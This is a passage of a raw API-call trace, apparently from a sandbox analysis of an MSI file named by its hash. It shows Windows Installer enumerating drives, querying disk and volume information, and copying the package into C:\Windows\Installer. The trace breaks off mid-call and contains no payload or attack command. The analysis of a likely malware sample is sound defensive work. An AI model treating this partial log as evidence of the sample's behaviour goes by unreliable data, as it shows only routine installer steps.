returned 0 [0120.537] GlobalUnlock (hMem=0xf40018) returned 0 [0120.537] GlobalUnlock (hMem=0xf40028) returned 0 [0120.537] GlobalUnlock (hMem=0xf40008) returned 0 [0120.537] IUnknown:Release (This=0x2fcc10) returned 0x0 [0120.540] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.540] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0120.540] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0120.541] memcpy (in: _Dst=0x37dff0, _Src=0x381844, _Size=0x88 | out: _Dst=0x37dff0) returned 0x37dff0 [0120.541] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop", UrlIs=0x0) returned 0 [0120.541] UrlIsW (pszUrl="A:\\", UrlIs=0x0) returned 0 [0120.541] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0120.542] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.542] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0120.542] GetLastError () returned 0x0 [0120.542] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.542] SetLastError (dwErrCode=0x0) [0120.542] UrlIsW (pszUrl="B:\\", UrlIs=0x0) returned 0 [0120.542] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0120.543] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.543] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0120.543] GetLastError () returned 0x0 [0120.543] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.543] SetLastError (dwErrCode=0x0) [0120.543] UrlIsW (pszUrl="C:\\", UrlIs=0x0) returned 0 [0120.543] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.543] UrlIsW (pszUrl="D:\\", UrlIs=0x0) returned 0 [0120.543] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0120.543] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.543] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0120.544] GetLastError () returned 0x0 [0120.544] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.544] SetLastError (dwErrCode=0x0) [0120.544] UrlIsW (pszUrl="E:\\", UrlIs=0x0) returned 0 [0120.544] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0120.544] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.544] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0120.544] GetLastError () returned 0x0 [0120.544] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.544] SetLastError (dwErrCode=0x0) [0120.544] UrlIsW (pszUrl="F:\\", UrlIs=0x0) returned 0 [0120.544] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0120.545] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.545] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0120.545] GetLastError () returned 0x0 [0120.545] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.545] SetLastError (dwErrCode=0x0) [0120.545] UrlIsW (pszUrl="G:\\", UrlIs=0x0) returned 0 [0120.545] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0120.545] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.545] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0120.545] GetLastError () returned 0x0 [0120.546] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.546] SetLastError (dwErrCode=0x0) [0120.546] UrlIsW (pszUrl="H:\\", UrlIs=0x0) returned 0 [0120.546] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0120.546] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.546] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0120.546] GetLastError () returned 0x0 [0120.546] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.546] SetLastError (dwErrCode=0x0) [0120.546] UrlIsW (pszUrl="I:\\", UrlIs=0x0) returned 0 [0120.546] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0120.547] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.547] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0120.547] GetLastError () returned 0x0 [0120.547] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.547] SetLastError (dwErrCode=0x0) [0120.547] UrlIsW (pszUrl="J:\\", UrlIs=0x0) returned 0 [0120.547] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0120.547] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.547] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0120.548] GetLastError () returned 0x0 [0120.548] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.548] SetLastError (dwErrCode=0x0) [0120.548] UrlIsW (pszUrl="K:\\", UrlIs=0x0) returned 0 [0120.548] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0120.548] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.549] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0120.549] GetLastError () returned 0x0 [0120.549] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.549] SetLastError (dwErrCode=0x0) [0120.549] UrlIsW (pszUrl="L:\\", UrlIs=0x0) returned 0 [0120.549] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0120.550] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.550] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0120.550] GetLastError () returned 0x0 [0120.550] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.550] SetLastError (dwErrCode=0x0) [0120.550] UrlIsW (pszUrl="M:\\", UrlIs=0x0) returned 0 [0120.550] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0120.550] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.550] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0120.550] GetLastError () returned 0x0 [0120.550] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.550] SetLastError (dwErrCode=0x0) [0120.550] UrlIsW (pszUrl="N:\\", UrlIs=0x0) returned 0 [0120.550] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0120.551] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.551] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0120.551] GetLastError () returned 0x0 [0120.551] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.551] SetLastError (dwErrCode=0x0) [0120.551] UrlIsW (pszUrl="O:\\", UrlIs=0x0) returned 0 [0120.551] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0120.551] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.551] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0120.551] GetLastError () returned 0x0 [0120.551] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.551] SetLastError (dwErrCode=0x0) [0120.551] UrlIsW (pszUrl="P:\\", UrlIs=0x0) returned 0 [0120.551] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0120.552] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.552] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0120.552] GetLastError () returned 0x0 [0120.552] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.552] SetLastError (dwErrCode=0x0) [0120.552] UrlIsW (pszUrl="Q:\\", UrlIs=0x0) returned 0 [0120.552] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0120.552] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.552] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0120.552] GetLastError () returned 0x0 [0120.552] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.552] SetLastError (dwErrCode=0x0) [0120.552] UrlIsW (pszUrl="R:\\", UrlIs=0x0) returned 0 [0120.552] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0120.553] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.553] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0120.553] GetLastError () returned 0x0 [0120.553] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.553] SetLastError (dwErrCode=0x0) [0120.553] UrlIsW (pszUrl="S:\\", UrlIs=0x0) returned 0 [0120.553] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0120.553] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.553] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0120.553] GetLastError () returned 0x0 [0120.553] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.553] SetLastError (dwErrCode=0x0) [0120.553] UrlIsW (pszUrl="T:\\", UrlIs=0x0) returned 0 [0120.553] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0120.554] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.554] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0120.554] GetLastError () returned 0x0 [0120.554] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.554] SetLastError (dwErrCode=0x0) [0120.554] UrlIsW (pszUrl="U:\\", UrlIs=0x0) returned 0 [0120.554] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0120.554] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.554] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0120.554] GetLastError () returned 0x0 [0120.555] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.555] SetLastError (dwErrCode=0x0) [0120.555] UrlIsW (pszUrl="V:\\", UrlIs=0x0) returned 0 [0120.555] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0120.555] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.555] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0120.555] GetLastError () returned 0x0 [0120.555] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.555] SetLastError (dwErrCode=0x0) [0120.555] UrlIsW (pszUrl="W:\\", UrlIs=0x0) returned 0 [0120.555] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0120.555] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.555] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0120.556] GetLastError () returned 0x0 [0120.556] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.556] SetLastError (dwErrCode=0x0) [0120.556] UrlIsW (pszUrl="X:\\", UrlIs=0x0) returned 0 [0120.556] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0120.556] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.556] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0120.556] GetLastError () returned 0x0 [0120.556] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.556] SetLastError (dwErrCode=0x0) [0120.556] UrlIsW (pszUrl="Y:\\", UrlIs=0x0) returned 0 [0120.556] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0120.556] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.557] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0120.557] GetLastError () returned 0x0 [0120.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.557] SetLastError (dwErrCode=0x0) [0120.557] UrlIsW (pszUrl="Z:\\", UrlIs=0x0) returned 0 [0120.557] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0120.557] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.557] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0120.557] GetLastError () returned 0x0 [0120.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.557] SetLastError (dwErrCode=0x0) [0120.557] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer") returned 59 [0120.558] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ulOptions=0x0, samDesired=0x20119, phkResult=0x34a748 | out: phkResult=0x34a748*=0x1dc) returned 0x0 [0120.558] RegQueryValueExW (in: hKey=0x1dc, lpValueName="NoDrives", lpReserved=0x0, lpType=0x10ced60, lpData=0x10ced80, lpcbData=0x10ced20*=0x100 | out: lpType=0x10ced60*=0x0, lpData=0x10ced80*=0x0, lpcbData=0x10ced20*=0x100) returned 0x2 [0120.558] RegCloseKey (hKey=0x1dc) returned 0x0 [0120.558] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop") returned 25 [0120.558] memcpy (in: _Dst=0x338830, _Src=0x339090, _Size=0x4 | out: _Dst=0x338830) returned 0x338830 [0120.558] lstrlenW (lpString="C:") returned 2 [0120.558] lstrlenW (lpString="\\") returned 1 [0120.558] memcpy (in: _Dst=0x3388c0, _Src=0x338890, _Size=0x4 | out: _Dst=0x3388c0) returned 0x3388c0 [0120.558] UrlIsW (pszUrl="C:\\", UrlIs=0x0) returned 0 [0120.558] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.558] lstrlenW (lpString="\\") returned 1 [0120.558] lstrlenW (lpString="\\\\") returned 2 [0120.558] wcsstr (_Str="\\Users\\KEECFM~1\\Desktop", _SubStr="\\\\") returned 0x0 [0120.559] memcpy (in: _Dst=0x10ce4a0, _Src=0x339094, _Size=0x30 | out: _Dst=0x10ce4a0) returned 0x10ce4a0 [0120.559] lstrlenW (lpString="\\") returned 1 [0120.559] memcpy (in: _Dst=0x338830, _Src=0x338890, _Size=0x4 | out: _Dst=0x338830) returned 0x338830 [0120.559] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.559] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x10ce1d0, nVolumeNameSize=0xff, lpVolumeSerialNumber=0x32d840, lpMaximumComponentLength=0x10ce138, lpFileSystemFlags=0x32d84c, lpFileSystemNameBuffer=0x10ce140, nFileSystemNameSize=0x40 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x32d840*=0x8443a5af, lpMaximumComponentLength=0x10ce138*=0xff, lpFileSystemFlags=0x32d84c*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0120.559] GetLastError () returned 0x0 [0120.559] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.559] SetLastError (dwErrCode=0x0) [0120.559] lstrlenW (lpString="NTFS") returned 4 [0120.559] lstrlenW (lpString="SYSTEM") returned 6 [0120.559] lstrlenW (lpString="\\") returned 1 [0120.559] memcpy (in: _Dst=0x338830, _Src=0x338890, _Size=0x4 | out: _Dst=0x338830) returned 0x338830 [0120.560] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.560] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x10ce3b8, lpTotalNumberOfBytes=0x10ce3c0, lpTotalNumberOfFreeBytes=0x10ce3b0 | out: lpFreeBytesAvailableToCaller=0x10ce3b8, lpTotalNumberOfBytes=0x10ce3c0, lpTotalNumberOfFreeBytes=0x10ce3b0) returned 1 [0120.560] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x10ce418, lpBytesPerSector=0x10ce410, lpNumberOfFreeClusters=0x10ce420, lpTotalNumberOfClusters=0x10ce428 | out: lpSectorsPerCluster=0x10ce418, lpBytesPerSector=0x10ce410, lpNumberOfFreeClusters=0x10ce420, lpTotalNumberOfClusters=0x10ce428) returned 1 [0120.560] GetLastError () returned 0x0 [0120.560] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0120.560] SetLastError (dwErrCode=0x0) [0120.560] lstrlenW (lpString="Users") returned 5 [0120.560] lstrlenW (lpString="Users") returned 5 [0120.560] lstrlenW (lpString="KEECFM~1") returned 8 [0120.560] lstrlenW (lpString="KEECFM~1") returned 8 [0120.560] lstrlenW (lpString="Desktop") returned 7 [0120.561] lstrlenW (lpString="Desktop") returned 7 [0120.561] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop") returned 23 [0120.561] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop") returned 23 [0120.561] lstrlenW (lpString="\\") returned 1 [0120.561] memcpy (in: _Dst=0x2fa5e0, _Src=0x2fa630, _Size=0x2e | out: _Dst=0x2fa5e0) returned 0x2fa5e0 [0120.561] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.561] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0120.561] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0120.561] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0120.561] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0120.561] memcpy (in: _Dst=0x339090, _Src=0x338890, _Size=0x4 | out: _Dst=0x339090) returned 0x339090 [0120.561] memcpy (in: _Dst=0x339094, _Src=0x2fa5e0, _Size=0x32 | out: _Dst=0x339094) returned 0x339094 [0120.561] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0120.561] memcpy (in: _Dst=0x381810, _Src=0x339090, _Size=0x34 | out: _Dst=0x381810) returned 0x381810 [0120.561] memcpy (in: _Dst=0x32b8a0, _Src=0x37dff0, _Size=0x8a | out: _Dst=0x32b8a0) returned 0x32b8a0 [0120.562] GetProcAddress (hModule=0x76b00000, lpProcName="GetFileAttributesExW") returned 0x76b0ac40 [0120.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cf1b0 | out: lpFileInformation=0x10cf1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c43500, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x35c43500, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0xdc9ad800, ftLastWriteTime.dwHighDateTime=0x1d8a8d7, nFileSizeHigh=0x0, nFileSizeLow=0x3e0000)) returned 1 [0120.562] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cee00, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0120.562] lstrlenW (lpString="C:\\Windows") returned 10 [0120.562] lstrlenW (lpString="\\") returned 1 [0120.562] memcpy (in: _Dst=0x33a760, _Src=0x33a7a0, _Size=0x14 | out: _Dst=0x33a760) returned 0x33a760 [0120.562] lstrlenW (lpString="Installer") returned 9 [0120.562] memcpy (in: _Dst=0x2fa630, _Src=0x33a760, _Size=0x16 | out: _Dst=0x2fa630) returned 0x2fa630 [0120.562] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0120.562] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0120.562] memcpy (in: _Dst=0x338860, _Src=0x2fa680, _Size=0x4 | out: _Dst=0x338860) returned 0x338860 [0120.562] lstrlenW (lpString="\\") returned 1 [0120.562] lstrlenW (lpString="\\\\") returned 2 [0120.562] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0120.562] memcpy (in: _Dst=0x10ce4e0, _Src=0x2fa684, _Size=0x26 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0120.562] lstrlenW (lpString="Windows") returned 7 [0120.563] lstrlenW (lpString="Windows") returned 7 [0120.563] lstrlenW (lpString="Installer") returned 9 [0120.563] lstrlenW (lpString="Installer") returned 9 [0120.563] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0120.563] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0120.563] lstrlenW (lpString="\\") returned 1 [0120.563] memcpy (in: _Dst=0x2fa720, _Src=0x2fa6d0, _Size=0x24 | out: _Dst=0x2fa720) returned 0x2fa720 [0120.563] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.563] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0120.563] memcpy (in: _Dst=0x2fa680, _Src=0x338890, _Size=0x4 | out: _Dst=0x2fa680) returned 0x2fa680 [0120.563] memcpy (in: _Dst=0x2fa684, _Src=0x2fa720, _Size=0x28 | out: _Dst=0x2fa684) returned 0x2fa684 [0120.563] GetTickCount () returned 0x1876eff [0120.563] _vsnwprintf (in: _Buffer=0x10cefd0, _BufferCount=0x8, _Format="%x", _ArgList=0x10cef28 | out: _Buffer="1876eff") returned 7 [0120.564] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cee90 | out: lpFileInformation=0x10cee90*(dwFileAttributes=0xf7b1a228, ftCreationTime.dwLowDateTime=0x7fe, ftCreationTime.dwHighDateTime=0xf791b174, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x10cef28, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xf79e1fb3, nFileSizeHigh=0x7fe, nFileSizeLow=0x0)) returned 0 [0120.564] GetLastError () returned 0x2 [0120.564] CreateFileW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0x1dc [0120.566] GetFileType (hFile=0x1dc) returned 0x1 [0120.566] CloseHandle (hObject=0x1dc) returned 1 [0120.566] lstrlenW (lpString="C:\\Windows\\Installer\\1876eff.msi") returned 32 [0120.566] memcpy (in: _Dst=0x33a760, _Src=0x3390ba, _Size=0x16 | out: _Dst=0x33a760) returned 0x33a760 [0120.567] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0120.567] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cf130 | out: lpFileInformation=0x10cf130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c43500, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x35c43500, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0xdc9ad800, ftLastWriteTime.dwHighDateTime=0x1d8a8d7, nFileSizeHigh=0x0, nFileSizeLow=0x3e0000)) returned 1 [0120.573] GetSecurityDescriptorLength (pSecurityDescriptor=0x7fef7b24890) returned 0x6c [0120.573] memcpy (in: _Dst=0x34a6b0, _Src=0x7fef7b24890, _Size=0x6c | out: _Dst=0x34a6b0) returned 0x34a6b0 [0120.573] GetCurrentThreadId () returned 0xf50 [0120.573] GetCurrentThreadId () returned 0xf50 [0120.573] SetEvent (hEvent=0x170) returned 1 [0120.573] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0120.587] GetTickCount () returned 0x1876f1e [0120.587] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0120.587] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0120.587] lstrlenW (lpString="1876eff.msi") returned 11 [0120.587] lstrlenW (lpString="1876eff.msi") returned 11 [0120.587] lstrlenW (lpString="1876eff.msi") returned 11 [0120.587] memcpy (in: _Dst=0x2fa680, _Src=0x338890, _Size=0x4 | out: _Dst=0x2fa680) returned 0x2fa680 [0120.587] memcpy (in: _Dst=0x2fa684, _Src=0x2fa720, _Size=0x28 | out: _Dst=0x2fa684) returned 0x2fa684 [0120.587] lstrlenW (lpString="1876eff.msi") returned 11 [0120.587] memcpy (in: _Dst=0x339090, _Src=0x2fa680, _Size=0x2a | out: _Dst=0x339090) returned 0x339090 [0120.587] memcpy (in: _Dst=0x32b988, _Src=0x33a760, _Size=0x18 | out: _Dst=0x32b988) returned 0x32b988 [0120.587] memcpy (in: _Dst=0x2fa680, _Src=0x338890, _Size=0x4 | out: _Dst=0x2fa680) returned 0x2fa680 [0120.587] memcpy (in: _Dst=0x2fa684, _Src=0x2fa720, _Size=0x28 | out: _Dst=0x2fa684) returned 0x2fa684 [0120.588] lstrlenW (lpString="C:\\Windows\\Installer\\") returned 21 [0120.588] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer"), fInfoLevelId=0x0, lpFileInformation=0x10cf0d0 | out: lpFileInformation=0x10cf0d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x5031f80, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x76711f50, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x76711f50, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0120.588] lstrlenW (lpString="1876eff.msi") returned 11 [0120.588] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cf060 | out: lpFileInformation=0x10cf060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76711f50, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x76711f50, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x76711f50, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0120.588] memcpy (in: _Dst=0x3390f0, _Src=0x338890, _Size=0x4 | out: _Dst=0x3390f0) returned 0x3390f0 [0120.588] memcpy (in: _Dst=0x3390f4, _Src=0x2fa5e0, _Size=0x32 | out: _Dst=0x3390f4) returned 0x3390f4 [0120.588] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.588] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0120.588] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1dc [0120.588] GetFileType (hFile=0x1dc) returned 0x1 [0120.588] GetLastError () returned 0x0 [0120.589] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.589] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi")) returned 0x20 [0120.589] memcpy (in: _Dst=0x10cef70, _Src=0x34a6b0, _Size=0x6c | out: _Dst=0x10cef70) returned 0x10cef70 [0120.589] IsValidSecurityDescriptor (pSecurityDescriptor=0x10cef70) returned 1 [0120.589] IsValidSecurityDescriptor (pSecurityDescriptor=0x10cef70) returned 1 [0120.589] IsValidSecurityDescriptor (pSecurityDescriptor=0x10cef70) returned 1 [0120.589] CreateFileW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi"), dwDesiredAccess=0x410c0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0120.659] GetFileType (hFile=0x1d8) returned 0x1 [0120.659] GetLastError () returned 0xb7 [0120.659] GetCurrentThread () returned 0xfffffffffffffffe [0120.659] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10ced70 | out: TokenHandle=0x10ced70*=0x0) returned 0 [0120.659] GetLastError () returned 0x3f0 [0120.659] GetCurrentProcess () returned 0xffffffffffffffff [0120.659] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, 